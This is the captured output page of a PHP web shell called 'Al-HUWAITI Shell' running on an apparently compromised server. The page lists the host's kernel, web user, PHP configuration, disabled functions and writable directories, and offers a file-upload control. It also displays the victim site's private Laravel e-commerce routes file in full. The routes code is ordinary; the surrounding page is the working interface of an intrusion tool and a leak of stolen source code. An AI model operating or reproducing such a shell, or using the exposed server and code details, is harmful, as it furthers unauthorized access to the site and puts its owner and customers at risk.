Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/routes/web.php
<?php

use App\Http\Controllers\Shop\AdminController;
use App\Http\Controllers\Shop\Auth\ForgotPasswordController;
use App\Http\Controllers\Shop\Auth\LoginController;
use App\Http\Controllers\Shop\Auth\ResetPasswordController;
use App\Http\Controllers\Shop\BannerController;
use App\Http\Controllers\Shop\BrandController;
use App\Http\Controllers\Shop\CartController;
use App\Http\Controllers\Shop\CategoryController;
use App\Http\Controllers\Shop\CouponController;
use App\Http\Controllers\Shop\FrontendController;
use App\Http\Controllers\Shop\User\HomeController;
use App\Http\Controllers\Shop\User as Customer;
use App\Http\Controllers\Shop\MessageController;
use App\Http\Controllers\Shop\NotificationController;
use App\Http\Controllers\Shop\OrderController;
use App\Http\Controllers\Shop\PostCategoryController;
use App\Http\Controllers\Shop\PostCommentController;
use App\Http\Controllers\Shop\PostController;
use App\Http\Controllers\Shop\PostTagController;
use App\Http\Controllers\Shop\ProductController;
use App\Http\Controllers\Shop\ProductReviewController;
use App\Http\Controllers\Shop\ShippingController;
use App\Http\Controllers\Shop\UsersController;
use App\Http\Controllers\Shop\PartnerController;
use App\Http\Controllers\Shop\TrainingController;
use App\Http\Controllers\Shop\CareerController;
use App\Http\Controllers\Shop\WishlistController;
use Illuminate\Support\Facades\Route;
use Illuminate\Foundation\Auth as LaravelAuth;
use App\Http\Middleware;
use App\Http\Controllers\Shop\Auth\VerificationController;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::group(
    [
        'prefix' => '/shop',
    ], function () {
    Route::get('/email/verify', [VerificationController::class, 'show'])->name('verification.notice');
    Route::get('/email/verify/{id}/{hash}', [VerificationController::class, 'verify'])->middleware(['signed', 'throttle:6,1'])->name('verification.verify');
    Route::post('/email/verification-notification', [VerificationController::class, 'resend'])->middleware(['auth', 'throttle:6,1'])->name('verification.send');
    Route::post('/email/resend', [VerificationController::class, 'resend'])->name('verification.resend');

    // $this->get('login', 'Auth\LoginController@showLoginForm')->name('login');
    // $this->post('login', 'Auth\LoginController@login');
    Route::post('logout', [LoginController::class, 'logout'])->name('shop.logout');
    Route::get('logout', [LoginController::class, 'logout'])->name('logout');

    Route::get('password/reset', [ForgotPasswordController::class, 'showLinkRequestForm'])->name('password.request');
    Route::post('password/email', [ForgotPasswordController::class, 'sendResetLinkEmail'])->name('password.email');
    Route::get('password/reset/{token}', [ResetPasswordController::class, 'showResetForm'])->name('password.reset');
    Route::post('password/reset', [ResetPasswordController::class, 'reset'])->name('password.update');
   // Route::get('password-reset', [ResetPasswordController::class, 'showResetForm'])->name('password.reset');

    // // Registration Routes...
    // $this->get('register', 'Auth\RegisterController@showRegistrationForm')->name('register');
    // $this->post('register', 'Auth\RegisterController@register');

    Route::get('user/login', [FrontendController::class, 'login'])->name('login.form');
    Route::post('user/login', [FrontendController::class, 'loginSubmit'])->name('login.submit');
    Route::get('user/logout', [FrontendController::class, 'logout'])->name('user.logout');

    Route::get('user/register', [FrontendController::class, 'register'])->name('register.form');
    Route::post('user/register', [FrontendController::class, 'registerSubmit'])->name('register.submit');

    // Socialite
    Route::get('login/{provider}/', [LoginController::class, 'redirect'])->name('login.redirect');
    Route::get('login/{provider}/callback/', [LoginController::class, 'Callback'])->name('login.callback');

    Route::get('/', [FrontendController::class, 'home'])->name('home');

    // Frontend Routes
    Route::get('/home', [FrontendController::class, 'index']);
    Route::get('/about-us', [FrontendController::class, 'aboutUs'])->name('about-us');
    Route::get('/contact', [FrontendController::class, 'contact'])->name('contact');
    Route::post('/contact/message', [MessageController::class, 'store'])->name('contact.store');

    Route::group(
        [
            'middleware' => [Middleware\EmailVerified::class]
        ], function () {
            Route::get('product-detail/{slug}', [FrontendController::class, 'productDetail'])->name('product-detail');
            Route::get('/product/search', [FrontendController::class, 'productSearch'])->name('product.search');
            Route::get('/product-cat/{slug}', [FrontendController::class, 'productCat'])->name('product-cat');
            Route::get('/product-sub-cat/{slug}/{sub_slug}', [FrontendController::class, 'productSubCat'])->name('product-sub-cat');
            Route::get('/product-brand/{slug}', [FrontendController::class, 'productBrand'])->name('product-brand');

            Route::get('/user/chart',[AdminController::class, 'userPieChart'])->name('user.piechart');
            Route::get('/product-lists', [FrontendController::class, 'productLists'])->name('product-lists');

            // Order Track
            Route::get('/product/track', [OrderController::class, 'orderTrack'])->name('order.track');
            Route::post('product/track/order', [OrderController::class, 'productTrackOrder'])->name('product.track.order');

            // Blog
            Route::get('/blog', [FrontendController::class, 'blog'])->name('blog');
            Route::get('/blog-detail/{slug}', [FrontendController::class, 'blogDetail'])->name('blog.detail');
            Route::get('/blog/search', [FrontendController::class, 'blogSearch'])->name('blog.search');
            Route::post('/blog/filter', [FrontendController::class, 'blogFilter'])->name('blog.filter');
            Route::get('blog-cat/{slug}', [FrontendController::class, 'blogByCategory'])->name('blog.category');
            Route::get('blog-tag/{slug}', [FrontendController::class, 'blogByTag'])->name('blog.tag');

            // NewsLetter
            Route::post('/subscribe', [FrontendController::class, 'subscribe'])->name('subscribe');

            // Product Review
            Route::resource('/review', ProductReviewController::class)->except(
                [
                    'store',
                ]
            );
            Route::post('product/{slug}/review', [ProductReviewController::class, 'store'])->name('review.store');

            // Post Comment
            Route::post('post/{slug}/comment', [PostCommentController::class, 'store'])->name('post-comment.store');
            Route::resource('/comment', PostCommentController::class);
            // Coupon
            Route::post('/coupon-store', [CouponController::class, 'couponStore'])->name('coupon-store');

            // Backend section start

            Route::group(['prefix' => '/admin', 'middleware' => ['auth', 'admin']], function () {
                Route::get('/income', [OrderController::class, 'incomeChart'])->name('product.order.income');
                Route::get('/', [AdminController::class, 'index'])->name('admin');
                Route::get('/file-manager', [AdminController::class, 'fileManager'])->name('file-manager');
                // user route
                Route::resource('users', UsersController::class);

                // Partner route
                Route::get('partner', [PartnerController::class, 'index'])
                    ->name('partner.index');

                // Training route
                Route::get('training', [TrainingController::class, 'index'])
                    ->name('training.index');

                // Career route
                Route::get('career', [CareerController::class, 'index'])
                    ->name('career.index');

                // Banner
                Route::resource('banner', BannerController::class);
                // Brand
                Route::resource('brand', BrandController::class);
                // Profile
                Route::get('/profile', [AdminController::class, 'profile'])->name('admin-profile');
                Route::post('/profile/{id}', [AdminController::class, 'profileUpdate'])->name('profile-update');
                // Category
                Route::resource('/category', CategoryController::class);
                // Product
                Route::resource('/product', ProductController::class);
                // Ajax for sub category
                Route::post('/category/{id}/child', [CategoryController::class, 'getChildByParent']);
                // POST category
                Route::resource('/post-category', PostCategoryController::class);
                // Post tag
                Route::resource('/post-tag', PostTagController::class);
                // Post
                Route::resource('/post', PostController::class);
                // Message
                Route::resource('/message', MessageController::class);
                Route::get('/message/five', [MessageController::class, 'messageFive'])->name('messages.five');

                // Order
                Route::resource('/order', OrderController::class);

                Route::get('/order/payment/{order}', [OrderController::class, 'payment'])->name('order.payment');
                Route::patch('/order/payment-update/{order}', [OrderController::class, 'paymentUpdate'])->name('order.payment-update');

                // Shipping
                Route::resource('/shipping', ShippingController::class);
                // Coupon
                Route::resource('/coupon', CouponController::class);
                // Settings
                Route::get('settings', [AdminController::class, 'settings'])->name('settings');
                Route::post('setting/update', [AdminController::class, 'settingsUpdate'])->name('settings.update');

                // Notification
                Route::get('/notification/{id}', [NotificationController::class, 'show'])->name('admin.notification');
                Route::get('/notifications', [NotificationController::class, 'index'])->name('all.notification');
                Route::delete('/notification/{id}', [NotificationController::class, 'delete'])->name('notification.delete');
                // Password Change
                Route::get('change-password', [AdminController::class, 'changePassword'])->name('change.password.form');
                Route::post('change-password', [AdminController::class, 'changPasswordStore'])->name('change.password');
            });

            Route::group(['middleware' => ['user']], function () {
                // Cart section
                Route::get('/add-to-cart/{slug}', [CartController::class, 'addToCart'])->name('add-to-cart');
                Route::post('/add-to-cart', [CartController::class, 'singleAddToCart'])->name('single-add-to-cart');
                Route::get('cart-delete/{id}', [CartController::class, 'cartDelete'])->name('cart-delete');
                Route::post('cart-update', [CartController::class, 'cartUpdate'])->name('cart.update');
                Route::get('/cart', [CartController::class, 'cart'])->name('cart');
                Route::post('cart/order', [OrderController::class, 'store'])->name('cart.order');
                Route::get('/checkout', [CartController::class, 'checkout'])->name('checkout');

                Route::get('/wishlist', [WishlistController::class, 'index'])->name('wishlist');
                Route::get('/wishlist/{slug}', [WishlistController::class, 'wishlist'])->name('add-to-wishlist');
                Route::get('wishlist-delete/{id}', [WishlistController::class, 'wishlistDelete'])->name('wishlist-delete');

                Route::get('order/pdf/{id}', [OrderController::class, 'pdf'])->name('order.pdf');
                Route::get('order/document/download', [OrderController::class, 'downloadDocument'])->name('order.document.download');
                Route::get('order/document/preview', [OrderController::class, 'previewDocument'])->name('order.document.preview');
                Route::get('orders/csv', [OrderController::class, 'csv'])->name('orders.csv');

                Route::get('training/document/download', [TrainingController::class, 'downloadDocument'])->name('training.document.download');
                Route::get('trainings/csv', [TrainingController::class, 'csv'])->name('trainings.csv');

                Route::get('career/document/download', [CareerController::class, 'downloadDocument'])->name('career.document.download');
                Route::get('career/csv', [CareerController::class, 'csv'])->name('careers.csv');

                Route::get('partner/csv', [PartnerController::class, 'csv'])->name('partners.csv');
            });

            // User section start
            Route::group([
                'prefix' => '/user',
                'middleware' => ['user', 'auth']
            ], function () {
                Route::get('/', [HomeController::class, 'index'])->name('user');

                // Profile
                Route::get('/profile', [HomeController::class, 'profile'])->name('user-profile');
                Route::post('/profile/{id}', [HomeController::class, 'profileUpdate'])->name('user-profile-update');

                //  Files
                Route::get('/file', [Customer\FileController::class, 'index'])->name('user.file.index');
                Route::get('/file/show/{id}', [Customer\FileController::class, 'show'])->name('user.file.show');
                Route::delete('//delete/{id}', [Customer\FileController::class, 'delete'])->name('user.file.delete');

                //  Order
                Route::get('/order', [Customer\OrderController::class, 'index'])->name('user.order.index');
                Route::get('/order/show/{id}', [Customer\OrderController::class, 'show'])->name('user.order.show');
                Route::delete('/order/delete/{id}', [Customer\OrderController::class, 'delete'])->name('user.order.delete');

                // Product Review
                Route::get('/user-review', [HomeController::class, 'productReviewIndex'])->name('user.productreview.index');
                Route::delete('/user-review/delete/{id}', [HomeController::class, 'productReviewDelete'])->name('user.productreview.delete');
                Route::get('/user-review/edit/{id}', [HomeController::class, 'productReviewEdit'])->name('user.productreview.edit');
                Route::patch('/user-review/update/{id}', [HomeController::class, 'productReviewUpdate'])->name('user.productreview.update');

                // Post comment
                Route::get('user-post/comment', [HomeController::class, 'userComment'])->name('user.post-comment.index');
                Route::delete('user-post/comment/delete/{id}', [HomeController::class, 'userCommentDelete'])->name('user.post-comment.delete');
                Route::get('user-post/comment/edit/{id}', [HomeController::class, 'userCommentEdit'])->name('user.post-comment.edit');
                Route::patch('user-post/comment/udpate/{id}', [HomeController::class, 'userCommentUpdate'])->name('user.post-comment.update');

                // Password Change
                Route::get('change-password', [HomeController::class, 'changePassword'])->name('user.change.password.form');
                Route::post('change-password', [HomeController::class, 'changPasswordStore'])->name('user.change.password');
            });
        }
    );
});

Al-HUWAITI Shell